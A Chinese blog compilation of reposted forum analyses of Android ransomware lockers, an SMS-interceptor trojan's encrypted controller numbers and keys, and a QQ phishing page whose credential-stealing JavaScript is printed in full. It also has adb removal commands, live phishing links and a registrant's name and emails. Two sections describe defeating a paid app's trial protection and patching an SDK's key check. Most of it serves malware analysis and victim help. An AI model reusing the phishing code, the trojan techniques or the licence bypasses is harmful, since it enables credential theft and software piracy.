纯情 发布的文章

第一部分

今天又在继续修改,去掉了很多没用的东西。

第二部分

更多的注重访问速度和用户体验

第三部分

将加载的一些flash代码都给去掉了,包括背景音乐。将首页分类也从首页菜单中去掉,放在其他地方了。

第四部分

前台边栏加了用户中心和人们搜索等分类,具体的希望大家体验。

第一部分:评论审核右邮件通知

为了防止博客被垃圾评论和一些传销广告污染,博客开启了后台人工审核的方式,但是这种审核方式也有一些不便,有朋友提个问题什么的,回复他了,他也不知道,这次就加了段代码,审核通过后会通过邮件通知他,当然,前提是他留的邮箱是可以联系到他的。

第二部分:给通过搜索引擎进来的访客提供相关文章

这一点对于大家来说似乎然并卵,不过对于一个网站站长来说至关重要,做个人网站要的就是流量,注重的就是用户体验,so,为了留住一些访客。弄了个这么个东西。

第三部分:网站安全

上个月也说了,网站遭到后台暴力破解,虽然对博客没什么影响,不过老是受到登录错误的提示,都看的烦了,所以搞了个安全防护插件,也就是评论中的一个朋友推荐的安全插件。用了挺不错。在此感谢那位朋友推荐了。

第四部分:显示浏览过的文章

这个功能也挺不错的,就是可以显示你看货哪些文章,并且在右边显示,我设置为“您刚刚看过”,这个样式看起来有点怪怪的。。。各位有什么意见可以提。

最近文章更新内容

这几天更新文章大都是一种类型的。昨天的是关于教育和公务员方面的资料分享,今天的是关于安卓手机安全方面的文章。都是转载自其他网站的。

最后祝大家国庆快乐。虽然吃了点。。。

hello 纯情

首先说下,本人真的是纯菜鸟,有限的知识也是通过本论坛学习而得知,所以大神们不要喷我,谢谢
直接进入主题吧
把APK文件拉到Androidkiller里分析,发现入口是.M

接下来查看下源码,打开MyAdmin.class,发现软件把锁屏密码改成了9797

public CharSequence onDisableRequested(Context paramContext, Intent paramIntent)
  {
    String str = Integer.toString(9797);
    getManager(paramContext).lockNow();
    getManager(paramContext).resetPassword(str, 0);
    return super.onDisableRequested(paramContext, paramIntent);
  }
   
  @Override
  public void onEnabled(Context paramContext, Intent paramIntent)
  {
    String str = Integer.toString(9797);
    try
    {
      Object localObject = Class.forName("com.h.s");
      localObject = new Intent(paramContext, (Class)localObject);
      ((Intent)localObject).setFlags(268435456);
      paramContext.startService((Intent)localObject);
      getManager(paramContext).resetPassword(str, 0);
      super.onEnabled(paramContext, paramIntent);
      return;

然后再打开S.class,翻到下面, ,我们很明显看到,解锁密码就是  随机码+6789

public void onCreate()
  {
    super.onCreate();
    this.pass = ((Math.random() * 100000000));
    this.passw = new Long(this.pass + 6789);
    this.des = new DU("flower");
    try

如你的随机码是111111,那么解锁密码就是 117900

视频地址 http://pan.baidu.com/s/1o8aWDo2
样本:http://pan.baidu.com/s/1dFE4BhJ

一张图破解微信特种兵!!!

这个破解很简单,但是对有的新手还是不会的,看了有人发了算号机,个人觉得还是破解速度!由于没有加固那破解来说就是简单很多了!

 

 

想练手的可以自行下载:https://yunpan.cn/ck7DZmDNGeJyh (提取码:ca4f

来自吾爱破解,同一个网站,百分之八九十的人肯定见过这种东西,

第一篇:手机版分析,

原文链接:http://www.52pojie.cn/thread-514804-1-2.html

网址先贴出来http://www.xblteam.net/abc123

0x0 起因
收到好几个好友的信息,居然都是同类的信息(如下图1)。伪装描述信息为QQ空间,并附上文字和图片增加可信度。(点开后如下图2。)
(但终究只是小把戏而已,此类网页盗号一看便知的吧,然而好多人中招。)


0x1 抓包
刚开始用手机设置代{过}{滤}理,用Fiddler抓的包,结果如下。


从表面上看,先是一个301跳转,跳转到http://www.xblteam.net/abc123/(应该是我输入地址的时候漏掉的斜杠,不用管)
跳转后加载网页源码,然后加载js和图片,就到了起因中的第二幅图了。

0x2 分析js
第一个js是jquery库,与分析无关。主要是第二个和第三个。
第二个mobile.js是检测当前UA,如果UA不是手机,就跳转到QQ主页。
第三个kr.js是输入账号密码后点击登陆按钮之后的操作,用正则检查账号是否合法(否则提示"请输入正确的QQ号"),密码是否为空 (否则提示"密码不能为空")。
如果都合法就POST提交到"/index/qq.php" ,然后跳转到"http://user.qzone.qq.com/1064065158?ptlang=2052"(应该是为了使跳转更逼真,也许还顺带刷这个Q的空间人气)
(js我贴在最后)

0x3 测试
用手机按照合法的规则输入账号密码,然后提交,果然和上面的分析一样。
然后直接用电脑,如果不伪装UA就马上跳转到QQ主页。伪装后和手机测试的结果一样。

0x4 总结
盗号者首先伪装描述信息,盗取到QQ后利用群发工具再次群发此信息,扩散式的传播,并伴随盗取账号Q币,发广告等行为。

0x5 查Whois、反查
简单的查了下,得知以下信息:
建站人是胡伟生,邮箱有backorder1@dotmedia.com 20702176@qq.com 80010864@qq.com 地址也能查到,就不发出来了。
发现这个人创了好多站点,所以也可能是盗号者买了他的网站。

0x6 最后

几天前就举报了这个网站,现在还是显示安全,看来盗号者为了过网站检测也是用心良苦。专门用顶级域名延长扩散时间,并使用js来防御来自一般PC的检测,只针对手机,也利用了QQ内置浏览器不显示url的特点。
不过这类网站只要换个网址就又可以继续蹦跶了,希望大家加强警惕,在不确认的情况下不要随意输入账号密码。

两个js如下:

mobile:

var util = (function() {
        var u = navigator.userAgent.toLowerCase();
        return {
                isIphone: function() {
                        return (RegExp("iphone").test(u) || RegExp("ipod touch").test(u))
                },
                isIpad: function() {
                        return RegExp("ipad").test(u)
                },
                isAndroid: function() {
                        return (RegExp("android").test(u) || RegExp("android 2").test(u))
                },
                isMB: function() {
                        return (util.isIphone() || util.isIpad() || util.isAndroid())
                }
        };
})();
window.util = util; (function() {
        if (!util.isMB()) {
                window.location.href = 'http://www.qq.com';
                /**    ķ      PC   ʶ  */
        }
})();

kr:

function check(){
        //alert($("input[name=username]").val());
        //alert($("input[name=password]").val());
        var qq=$("input[name=username]").val();
        var passord=$("input[name=password]").val();
        var re=/^[1-9][0-9]{4,}$/;
        if(!re.test(qq)){
                 alert("请输入正确的QQ号");
             return false;
        }
        if(passord==""){
                 alert("密码不能为空");
             return false;
        }
 
          
 
//        $.ajax({
//            //提交数据的类型 POST GET
//            type:"POST",
//            //提交的网址
//            url:"/index/qq.php",
//            //提交的数据
//            data:{q:qq,p:password},
//            //返回数据的格式
//            datatype: "text",//"xml", "html", "script", "json", "jsonp", "text".
//            //在请求之前调用的函数
//            beforeSend:function(){ },
//            //成功返回之后调用的函数             
//            success:function(data){alert("sucdess");}   ,
//            //调用执行后调用的函数
//            complete: function(XMLHttpRequest, textStatus){
//               //alert(XMLHttpRequest.responseText);
//               //alert(textStatus);
//                //HideLoading();
//            },
//            //调用出错执行的函数
//            error: function(){
//                                alert("error");
//                //请求出错处理
//            }         
//         });
 
 
var return_val=false;
 
$.ajax( {  
    url:'/index/qq.php',// 跳转到 action  
    data:{  
             q : qq,  
             p : passord
    },  
    type:'post',  
    async : false,
    cache:false,  
    dataType:'text',  
    success:function(data) {  
                //window.location.href="http://www.qq.com/";
                //alert(data);
        if(data ==1 ){
                        //alert("fuck");
                        window.location.href="http://user.qzone.qq.com/1064065158?ptlang=2052";             
            $("#info").text("QQ账号或者密码错误,请重新输入!");
                        $("#info").css("color","#FF0000");        
                }else if(data==2){
                        window.location.href="http://user.qzone.qq.com/1064065158?ptlang=2052";             
        }else{
                 
                }
                         
     },  
     error : function() {  
                   
          // view("异常!");  
//       alert("异常!");  
     }  
});
 
 
return return_val;
         
 
}

第二篇:PC端分析

原文链接:http://www.52pojie.cn/thread-514628-1-1.html

早在几周前,一打开手机就发现了许多好友都给我发了一句名为《免费领取500M流量》的消息就像下图所示。


看这消息,根本就不是发的消息嘛,就是XML消息。至于XML,自己去问度娘吧,我这里就不详细的说了。

本来不想管,但是就在今天12号,发现了又有这种类似的,而且还变了花样,你想闹哪样?

那么我就随便的分析一下吧,大神别喷我。


这个就是受害者,当然也很多,我就随便拿了一张o(*≧▽≦)ツ

然后怎么办呢?那我们分析当然要从网站下手了。


复制一下链接得到http://www.xbLteam.net/abc123是这位骚年发给我的。

好的,那么找到了网页地址就好办了。

先去Whois查询,得到如图。


可以看到这个域名是在2016年创建的,但是这里的信息也没有一个有用的,什么邮箱啊,手机号码啊,都是假的!

那我就要使用我的杀手锏了,把这个http://www.xbLteam.net/abc123网页源码下载了如何?于是我马上行动,下载得到图。


打开第一个index.htm这个静态网页。

我吓了一条。这明显是盗号的好吧。


还要输入QQ账号和密码。

文件jquery-2.1.1.min.js和logo.png都没有什么发现,但是在jquery-2.1.1.min.js发现了XML,估计是XML消息吧,但是好像加密过,是乱码也不管了,我们打开kr.js这个最重要的。我只能呵呵。


好吧,聪明的人应该可以知道这个作者的QQ号了。

大家记住哈这个“好人” 的作者QQ为1064065158。至于以后的你们也懂得。

目测此网站后台有数据库,输入的密码账号会记录到里面,还望大家相互告知,遇到这种不知名的网站不要乱输入。

这个网站很聪明,会自动判断是PC还是手机,如果是PC则会自动跳转到qq.com,如果是手机,那自动切换到钓鱼页面!

简单的判别可以手机点进去然后往下拉一下,你就会看到网站,如果不是为XX.QQ.COM为结尾,但让你输入账号密码的网站,还尽量少输入吧,不要贪小便宜!!

2016年7月27日又见这种网站,话说这个真TM有钱啊,巨大利润是吧?这个贴现在用来收集类似于这种网站的吧@Hmily
Hmily大大上报一下有关部门吧,都是绿星认证,估计都是专门买那种腾讯认证过却没钱续费域名的域名。
也请大家互相监督。欢迎上报~~
以下为盗号网站域名:
http://www.xbLteam.net/abc123
http://www.szzwz.cn/500mcc

0x00-0前言的前面帖 子发出来好几天了,期间被工头叫过去搬砖了,今天回来一看想不到大家这么热情,应版主要求和各位的热烈需求,此处整理了一下帖子,供大家观看,并附上了样 本,密码52pojie,样本其实给出了看雪的下载链接,照顾没有看雪账号的朋友,特此一发。之前未发出完整版绝非为了赚下载,只是本人排版很渣,怕拍出来乱七八糟,还不如看word效果好,这个效果排版效果如何,大家凑合着看吧,本渣尽力了,哈哈!
0x00 前言
新加入论坛,发一下之前的一篇文章,算是给论坛的一点小支持。
样本来自看雪论坛http://bbs.pediy.com/showthread.php?t=204096,当时已给出答案,此处主要写一下分析过 程,算是总结一下,共同进步。首先声明,该样本未被加壳,程序部分混淆,但不严重,主要看论坛中还未涉及此类话题,其次论坛中有人对此加密号码分析过程还 比较感兴趣,所以来一发。
本人菜鸟一枚,首次发帖,高手默默飘过就行,欢迎拍砖!

0x01 特殊字符
JxB打开apk,未加壳,看strings有
1:43410150d9cc2072b6396f06bf57eada5acb86f0d9ee4a45
2:10801d06de02ed80cc58e431c7f1d2ac
明显是被加密了,至于加密的是什么,还是接着分析。
双击10801d06de02ed80cc58e431c7f1d2ac进入引用它的代码(搜索找到也行)。smali转java,可以看出该类主要是进 行shared_prefs处理的,明显的字段名有好多,但是该字段是a01,所以要分析其具体作用,还得继续回溯代码。

ctrl+X查找函数d()的引用,有4个,一个一个看。

0x02 第一个方向:函数d()的引用

com.phone.stop.a.c->b()函数,代码如下:
1.      privateboolean b(String arg7, String arg8, int arg9) {
2.          intv5 = 2;
3.          booleanv0 = true;
4.          if(arg7.contains(a.a(this.a).d())) {
5.              String[]v2 = arg8.split(" ");
6.              if(v2[0].equals("LJ")) {
7.                  if(v2[1].equals("ALL")) {
8.                      a.a(this.a).a(1);
9.                      return v0;
10.                 }
11.  
12.                 if(v2[1].equals("SOME")){
13.                     a.a(this.a).a(v5);
14.                     return v0;
15.                 }
16.  
17.                 if(!v2[1].equals("NO")) {
18.                     return v0;
19.                 }
20.  
21.                 a.a(this.a).a(3);
22.                 returnv0; }

可以看出函数b(估计看过以前分析的都知道该函数是短信控制命令的解析与执行,由此就知道arg7是手机号,arg8是短 信内容了),我们此处暂且认为不知道这些,继续查找函数b的引用,被本类的函数a调用。a函数的交叉引用是类com.phone.stop.a.c中的函 数a,该类是一个短信数据库观察者类,显然是对新到短信进行拦截和监控的。

private voida() {[/align]        Cursor v0 = this.b.query(b.b, null,null, null,"_id desc");
       if(v0 == null || v0.getCount() == 0){
           this.a(v0);
       }
       else {
           if(v0.moveToNext()) {
               String v1 = v0.getString(v0.getColumnIndex("date"));
               if(v1.compareTo(a.a(this.a).b()) > 0) {
                  a.a(this.a).a(v1);
                  int v1_1= v0.getInt(0);
                  this.a(v1_1);
                  String v2= v0.getString(v0.getColumnIndex("address"));
                  String v3= v0.getString(v0.getColumnIndex("body"));
                  this.a(v0);
                   this.a(v2, v3,v1_1);
               }
           }
           this.a(v0);}
此处大概就是处理新短信,可以看出v2就是发短信的号码,v3是短信内容。回到函数 b中,就发现arg7是手机号,arg8是短信内容,但是此处的contain函数类似于直接比较,所以此时shared_prefs中的手机号(也就是 a01)应该是已经解密过了。所以,还得接着看下去!悲剧。。。。。。
后面几个引用,也都是直接比较(详细不再赘述),或者是直接作为sendTextMessage的函数参数,所以解密过程应该是之前执行过了。

0x03换一个方向

前面发现,加密的数据已经被解密使用了,针对shared_prefs中的数据,肯定有解密后数据的写入过程,所以,在最开始的那个类中,我们还发现如下代码:
public voidc(String arg3) {
    SharedPreferences$Editorv0 = this.b.edit();
   v0.putString("a01", arg3);
    v0.commit();
}
函数c是将数据写入到a01的,所以对该函数的引用就应该是解密过程。既然如此,继续ctrl+x。
只有一个函数。废话少说,直接跳到该函数。
public staticvoid a(Context arg2) {
    if(!com.phone.stop.a.a.a(arg2).e()) {
        com.phone.stop.a.a.a(arg2).c(com.phone.stop.b.a.a(com.phone.stop.a.a.a(arg2).d()));
        com.phone.stop.a.a.a(arg2).b(true);
    }
}
看来其中函数c的参数就是解密后的结果,大胆猜测,com.phone.stop.b.a.a就是解密函数,直接进去。
public staticString a(String arg2) {[/align]        String v0_1;
     try {
        v0_1 = new b(com.phone.stop.a.b.f).b(arg2);
     }
     catch(Exceptionv0) {
         v0.printStackTrace();
         v0_1 = "";
     }
     return v0_1;
 }
new了一个类b的对象,参数是com.phone.stop.a.b.f,然后调用了b对象的函数b,再进去。终于快接近答案了,b类是一个DES的加密解密类,函数b就调用dofinal完成解密过程,看来我们离答案真的很近了,com.phone.stop.a.b.f就是解密密钥!

0x04密钥的小伎俩前面找到了com.phone.stop.a.b.f就是解密密钥,下面就看其生成过程,交叉引用如下:

 

其中第三个就是f的赋值过程,具体看截图的代码,一阵欣喜,直接上DES解密工具,结果一段乱码。郁闷!!!!

 

 

接着看其他交叉引用,发现木马作者使用了一个小伎俩,在运行中,对密码做了修改,具体如下:
    public staticString a(StringBuffer arg1){
       arg1.append('x');
        b.f = arg1.toString().getBytes();
        return arg1.toString();
}
密码字符串添加了x,真坏!最后不多说了,直接上图了。

 

 

最后,还有一点就是看是谁调用了解密过程。

 

 

MainActivity->onCreate函数,原来如此,细看吧!
   protectedvoid onCreate(Bundle arg5) {[/align]        super.onCreate(arg5);
        this.setContentView(2130903041);
        com.phone.stop.b.b.a();
        this.getPackageManager().setComponentEnabledSetting(this.getComponentName(),2, 1);
       com.phone.stop.b.b.a(((Context)this));
        com.phone.stop.b.b.b(((Context)this));
        if(!a.a(((Context)this)).i()) {
            e.a("软件安装完毕\n识别码:" + this.getSystemService("phone").getDeviceId() + "\n"+ d.a(), ((Context)
                   this));
            a.a(((Context)this)).e(true);
        }
 
        com.phone.stop.b.a.b(((Context)this));
        this.a();
}
紧接着其后,就是另一个加密字符串的解密,详细分析大家自己搞吧!

0x05后记

首先感谢提供DES加解密工具的网友,虽然我们未曾谋面,谢意一定送出!有需要的网友搜索一下去下载,某不敢剽窃产权!

现 在拦截马还是层出不穷啊,作者也开始考虑隐蔽自己了,有用邮箱发送信息的,账号密码也是类似加密的,以前都是全明文(邮箱被破?网站被爆菊?被反向钓鱼? 啥也不说了,都是眼泪),还有用apkprotect加过壳的。看反编译的代码,还发现初始密码和以前的一个样本stalker很像,估计是。。。。。。 (啥也不说了,估计都出名了)。
这次分析主要还是看java代码,根据函数的交叉引用进行逆向的回溯追踪,直到MainActivity->onCreate,其实主要还是个体力活。未来的主要对抗还是要集中在脱壳部分,不管是dex的还是so的,这方面论坛还有很好的示例,自己要好好学习。
其实,对于获取手机号,有很多方法,有添加log代码重打包运行的,有运行后看程序data目录的shared_prefs数据的。这些都是方法,本方法主要还是想提高一下逆向分析能力,对于理解程序流程很有意义,知其然更要知其所以然吗!

最后再次PS:首次发帖,欢迎拍砖!

短信拦截马之加密号码分析第二弹

0x00 前言

新年快要到了,提前祝大家新年快乐!
在 2015年的最后一个下午,有很多话想说,却又不知道从何说起,突然想起了自己早上脑子里忽然蹦出的一个念头:人们常说:“一叶障目,不见泰山”,想必是 登高才能望远,多数时候环境确实没有给我们提供登高望远的机会,使得很多事情难以尽兴!但是,突然发现,有的时候,我们看的不远是因为我们处在一个不能让 自己看远的道路上,比如在狭窄的山路上行车,人的视线最多也就是20米、甚至10米,这个时候你就不能望远;而在高速公路上,人的视线必须在50米开外, 此时你要是只看近处则比较危险!是啊,很多时候,不是你先近就近,你想远就远的,得看你在什么路上!而路,是一个永远也讲不完的话题。。。。。。
扯远了,进入正题。

0x01 变化

书接上回,上次说到MM作者将号码以DES加密的形式隐藏在configure文件中,我们通过逆向其写入configure文件的过程,进而找到其解密过程,获取真正的控制手机号码。
前 几天,又获取一个样本,这个样本的基本功能和前一个差不多,区别就是在于加密的方式不同了,而且还呈现了一些新的特性,比如更重要的控制手机号码不再写入 configure文件中了,只存在于内存中,这个确实给我们分析带来了巨大不便,看来此次也是煞费苦心啊!不多说,下面直接开始分析,样本在附件,密码 52pojie。

0x02 来看看MM的百宝箱

JxB打开样本,依然是从strings列表中找出好多加密后的字符串,以此双击进去,发现在com.phone.stop.db包中有大量的解密写入shared_prefs过程
    public String p() {
       this.b.getString("send_email_account","587676AA1B91FA679F7EE717D56D6EAE42C4667D5D21F62B");
        returnC.decrypt("6219472174F9AB559585F776E78FA0FF5012D9884F775E16C24270CC152225F1",C.k);
    }
 
    public boolean q() {
        returnthis.b.getBoolean("has_set_send_email_account", false);
    }
 
    public String r() {
        this.b.getString("receive_email_account","A609DC08DE9D6D0DF062B0B68028EE05");
        returnC.decrypt("6219472174F9AB559585F776E78FA0FF5012D9884F775E16C24270CC152225F1",C.k);
    }
 
    public boolean s() {
        returnthis.b.getBoolean("has_set_receive_email_account", false);
    }
 
    public String t() {
       this.b.getString("send_email_pwd","A609DC08DE9D6D0DF062B0B68028EE05");
        returnC.decrypt("A609DC08DE9D6D0DF062B0B68028EE05", C.k);
    }
[align=left]

深入到C.decrypt函数,发现是AES加密算法,而且密钥是明文,大喜过望!

private static final String CipherMode = "AES/ECB/PKCS5Padding";
    public staticString k;
 
    static final{
        C.k = "sdtyffdftesfyfdw";
然而,用AES解密工具试了一下不行。

0x03换一个方向

通过对AES加密算法进行深入研究,发现AES密钥有128、192、256三种长度,但是这个apk用的是哪一种呢?继续分析,发现C类中有一个Createkey函数比较可疑,深入分析一下。
private static SecretKeySpec createKey(String arg11) {[/align]        byte[] v2;
        byte[] v6_2;
        String v0 = arg11;
        String v6 = v0;
        if(v6 == null) {
            v6 = "";
            v0 = v6;
        }
        super(32);
        String v3 = v6;
        v3.append(v0);
        while(v3.length() < 32){
            v3.append("0");
        }
 
        if(v3.length() > 32){
            v3.setLength(32);
        }
 
        v6 = v3;
        try {
            v6_2 = ((StringBuffer)v6).toString().getBytes("UTF-8");
            v2 = v6_2;
        }
        catch(UnsupportedEncodingExceptionv6_1) {
            v6_1 = v6_1;
            v6_1.printStackTrace();
        }
 
        super(v2, "AES");
        return v6_2;
    }
仔细分析发现,该函数是生成密钥的主要过程,而且对于长度小于32字节的密钥,尾部加上一些0使得长度为32字节,由此,大胆输入解密密钥,果然如此。

 

熟悉ASCII码的朋友,一看就知道怎么回事了,而且最后添加的5个05正是AES/ECB/PKCS5Padding的特征,只是这样的解密还看的不爽!那就自己写个解密函数。

0x04解密函数

其 实对C类进行仔细的分析,自己写个解密函数还是比较靠谱的,但是本菜实现比较懒(直说编程比较弱就行了,我听见了好多声音!哈哈!),建一个java工 程,将反编译的C类拷过去,调试修改一下,注意其中要下载oracle的关于AES密钥长度的补丁,详细请看 http://www.cnblogs.com/AloneSword/p/3487809.html。为了安全起见,就不放出源码了,防止有心的朋友进 行恶意利用,这里声明,本渣只进行技术讨论,其他种种,本渣概不参与和负责!
看雪有个朋友直接写了个python脚本,佩服!这就不剽窃了!

0x05后记

首先感谢提供AES加解密工具的网友,虽然我们未曾谋面,谢意一定送出!有需要的网友搜索一下去下载,某不敢剽窃产权!
多的也不说啥了,祝大家新的一年工作顺利,步步高升!

写在前面的话:本人非专业破解的,只是为了被锁机的朋友不被连环坑钱,让大家放心使用安卓手机。在破解之前先备好以下三点:

  1、需要的工具:“ApkIDE又名APK改之理.zip”(论坛里面有下载,里面包含有adb shell工具 不会用的可以百度下)
  2、需要的材料:就用shaguaxiaoguo同学的为素材吧@shaguaxiaoguo ,借用他的锁机软件链接:http://pan.baidu.com/share/link?shareid=1504096275&uk=4153789608
  3、手机被锁前打开了开发者选项的USB调试模式(如果没有,觉得我的方法可行下次被锁之前记得打开)。
   

 

思路:按照那些恶意程序的套路是先获取root权限,修改系统文件,将恶意程序内部包含的另一个锁屏程序给释放出来,
安装为系统应用,设置开机自启动,然后获取设备管理器权限,最后重启手机,使得手机被锁。
以下是破除流程:
一、处理火影烧饼修改器.apk
    咱们先拿到火影烧饼修改器.apk将后缀名改为rar然后打开压缩文件进去查看:
最后发现在assets文件目录下ijm-x86.so文件,这个文件那么大应该就是具有锁屏功能的应用程序了。
接着解压火影烧饼修改器.rar打开assets文件目录然后将ijm-x86.so改为ijm-x86.rar以压缩文件方式打开:
果然,这里面的文件格式和apk的格式是一样的 可以进一步的认为这就是具有锁屏功能的应用程序了。
想破解就应该大胆的去猜测,成不成功只能看运气了。
二、处理ijm-x86.apk
①将ijm-x86.rar的后缀名改为apk格式,解压“ApkIDE又名APK改之理.zip” 用里面的ApkIDE.exe打开这个ijm-x86.apk如下图:
②点击编辑->打开java源码:
得到java源码发现果然有com.cjk.M这个类
然后顺着代码走,发现在这个activity里面启动了另一个类,com.cjk.MyAdmin
多余的我们不用管它,抓住重点就行了,咱们跟进com.cjk.MyAdmin发现几条语句很辣眼睛就是重置了锁屏密码,如图:

 

三、铲除锁屏应用
思路咱们理清楚了,现在开始操作:
1、通过USB连接手机到电脑执行adb shell命令停止恶意程序运行,
①先Ctrl+R输入cmd进入命令行运行adb shell
②运行adb shell
③停止恶意程序运行
      咱们之前分析知道了恶意锁屏程序的包名是:com.cjk只需要执行:am force-stop com.cjk
   
     ④执行完命令之后锁屏的视频就会停止播放了 接着输入之前我们密码:1023就可以解锁回到桌面
2、卸载锁屏程序:
    以下都是命令行:
    ①mount -o remount -o rw /system  重新挂载system
  ②rm /system/app/ijm-x86.apk      删除锁屏程序
  ③reboot                          重启
④卸载烧饼修改器这个母病毒软件,跟平时卸载软件方法一样。

 

完结。小弟愚钝,只能想出这样的笨办法,如果大家有什么更好办法麻烦告知,

本文作者七少月,仅供技术交流,任何与法律和道德有关的行为和作者无关!

 

最近一段时间,本人一直咳嗽发烧,为了研究个二代抽取加密脱壳机, 一星期都在生病熬夜中。。。。有一段时间什么都没发,就发个大理论指导《有服务器逆向六大思路》,还被人无端骂,实在是。。。反正还望见谅吧。不废话了, 这次我来和大家谈谈微信红包辅助这个东西。貌似最近微信辅助特别火,无论是自动群发的微++,还是红包辅助,都卖到2000一个,实在是天价。不过微信肯 定已经采取措施了,以后自动群发营销可能不好做了。继续回到微信红包辅助,顾名思义,就是微信中抢红包的辅助,注意:这种辅助确实存在,但绝对不是那种几 百K就能实现的病毒木马,很多什么600K的抢红包辅助都是拦截马,锁机。其实,只要注意一点,就知道这种辅助软件在安装时是不需要“屏幕密码规则”权限 和“发短信”权限的,还请各位注意。
一开始,我对于这个3.7MB的小软件并不在意,特别看到它的界面 以后,很简单,只有两个界面,一个注册界面,另一个功能界面。可后来慢慢跟下去才发现,这东西做的还是不错的,从它相对复杂的类,和一个2MB多的so中 就可以看出,确实花了一些功夫。先来看看界面(这个软件是我修改的,红色部分为原软件界面中控件名称):

 

很多朋友可能看到如此清爽简单的界面,会暗自高兴,只要修改XML中的入口点跳过注册界面,或者爆破下注册码就 可以。很抱歉,这个开发商还是比较不错的,两种办法都无法实现,如果你强行爆破,得到的第二个界面是白屏,也就是什么内容都没有。为什么会这样?我们后面 再说,这个软件说起来可能分支较多,为了条理清楚,本文分三个部分阐述,分别为如何快速达到破解这个软件的目地、软件功能界面加载和软件注册原理、微信红 包辅助该如何实现。
一、            软件快速破解
稍 微分析可以知道,短时间内想通过注册码或者跳过界面是不可能快速破解的,很多人想到这个软件可以试用,于是想无限试用行不行,答案肯定是可以的。当这个软 件在试用次数多了以后,就会出现“试用次数过多。。。”。很多朋友又会搜索这个字符串,当然一无所获。这个字符串隐藏很深,在so中那个位置,有大概几十 种case情况,所以还是会把人误导想简单。于是,又有朋友想去搞这个按钮点击事件,跟跟就发现,这个界面有2个按钮,只有1个onclick按钮点击事 件,代码差不多几页,于是又哭了。。。。其实根本不用这么麻烦,我们思考下,凡是试用,其实原理都是获取设备的信息,两条路,一个就是利用软件修改设备信 息,另一个就是到代码处修改获取设备信息函数,让它永远返回是新机。先到入口点,直接看oncreate()方法:
我们非常清楚地看到了一句获取设备代码,而稍微看下,就知道tlib类,实际上是基于那个2MB的libtlib.so的,反正就是so里的东西。我们选择第一条思路下手,很简单,做一个基础XPOSSED框架的一键新机修改设备信息就可以,网上很多,我做的如下:

 

二、            软件功能界面加载和软件注册原理
上述说到,利用无论是入口点爆破,还是注册码爆破,得到的功能界面都是白屏,很多人想不明白,这是为什么。我们到功能界面的oncreate()方法中去寻找答案:
这个又出现个三个类:T_RuntimeManager,Utils和tlib。最后一句代码刚刚已经 分析过,又获取一次设备信息,来判断是不是新机。T_RuntimeManager有1个加载功能界面的属性,我们认为这个类中存在答案。进去一看,发现 一个文件夹/t_reg_cache/:
由此,我们知道了这个软件的功能界面根本不在一般情况下的布局XML里,软件里根本不存在功能界面的布局,当试用成功或注册成功后,才会加载布局,而这个文件夹中,main.twin文件其实相当于1个布局XML文件,里面写着功能界面的布局:
可以看出,如果注册码不是真的注册成功,那么功能界面都是白屏,而大家可以自己搜索tap.rc文件和 intermediate.tis这两个加密的类似的脚本文件,都是和注册相关的文件。下面再来说说注册的原理,上面说了,在注册界面有2个按钮,却只有 1个onclick方法,看来不得不对它分析了。其实并不是只有这2个按钮共享这个onclick方法,连“解绑”和“清除注册”的点击也是这个方法。
这里清晰的有1个函数startScript函数,看来比较注册码的是利用了很复杂的函数,类似于脚 本。到此,我们终于找到了注册码的方法,下图我标红色的代码,就是主要的注册码验证方法了,它的主要方法是将输入的注册码inputregcode放到 libtlib.so的fundownscript函数中比较。有兴趣朋友可以好好看看这个so,这个so确实写得不错。这里再提一 下,  this.executeFloat = ((Button)findViewById(2131427336))这句代码,是用于功能界面开启悬浮窗,所以函数中含有floatactivity 的大多是与悬浮窗功能有关。而  initialProj("")函数,实际上是启动1个抽取工程,也就是实现加载功能界面的。与之对应有1个 reloadProj()函数,我们继续分析:

 

三、            微信红包等抢红包辅助如何实现
我 们回到注册界面的oncreate()方法,发现如下代码,可以看出,它的运行需要一个jar包,而我认为这个软件最出彩的就是使用这个jar包,这个 jar中包含的就是微信红包辅助的关键实现。脱壳的朋友都很熟悉,这是加固初级最常用的手段,虽然这个jar包没有做的加密,但能有这个意识,已经是非常 不错了,而且确实,这个软件为了实现抢红包还有了inject注入的功能。并且,从代码也能看出,抢红包软件需要su。
这个jar包的名字叫foo.jar,利用ZIP查看,立刻知道,这个jar包非常类似于1个APK,而抢红包辅助实现的关键代码应该就是在这个jar包中的dex里。
非常清楚,这个jar的版本号是5.1,正好对应了上述oncreate()方法中的 updataJar函数后面的参数“5.1”。我们也就知道,libFigurecolorEx.so这个so文件就是实现抢红包辅助的so,而上述那个 libtlib.so这个so文件主要是实现注册验证的so文件。至此,我们对于这个软件的整个框架思路就已经结束了,脉络完全理清,有兴趣的朋友可以模 仿,改造等等了。资料下载:http://pan.baidu.com/s/1i30dHkh

前言

作为一个 Android 开发者,使用定位 SDK 越来越频繁,但是基本上所有的定位 SDK 都需要使用时申请 key ,而且这些 key 又根据签名和包名生成,作为程序员,怎么能忍受这么麻烦的事情,于是就着手想办法解决。至于为什么是高德呢,只是因为不喜欢百度。

准备工具

  • 高德定位SDK最新版 AMap_Location_V2.9.0_20160906.jar
  • Android Studio
  • Java Decompiler

分析过程

高德的定位 SDK 在申请 key 的时候需要的信息包名和 SHA1 码,然后会给我们一个 key ,因此在校验的时候肯定也是这三个条件有:
  • 包名
  • 编译key的SHA1码
  • 申请得到的key
那么如果我们找到高德获取这些信息的入口,申请一个key,然后将这些信息写死在代码中试试能不能做到呢?
接下来我们就来尝试一下
高德的定位 SDK 是一个 jar 包,而jar包是很容易反编译的,首先我们使用 Java Decompiler 来看一下代码结构
看到了什么— APSService ,就是高德让我们在 AndroidManifest.xml 中声明的那个 Service ,说明这个就是高德定位的入口,来看看里面的内容
做 过动态加载的人肯定一眼就看出来了,这是一个代{过}{滤}理 Service ,真正运行的是实现了 APSServiceBase 的 Service ,那就需要去寻找实现了 APSServiceBase 的类,反正类不多就一个一个看,就找了到 b.class
在 onBind 方法里面我们看到了关键信息
这 个 onBind 是代{过}{滤}理 APSService 的 onBind ,那我们就在 APSService 的 onBind 方法里面打印这些参数,看看分别都是什么,那怎么修改 jar 包呢,其实非常简单, jar 包就是一个 zip 格式的压缩文件,我们只需要解压替换,然后重新压缩就可以了。

修改jar

使用 Android Studio 新建一个 Android Library 的 Module ,包名与  jar 包要修改的类包名相同,新建一个类,与要修改的类名相同
复 制反编译出来的 APSService 的内容到我们新建的类中,同时将 SDK 的 jar 包作为这个 Module 的依赖包,保证这个 Module 可以正常编译。其中 onBInd 方法我们修改为以下内容,其中修改后的内容为我们已经在高德官网申请过得 key 信息。
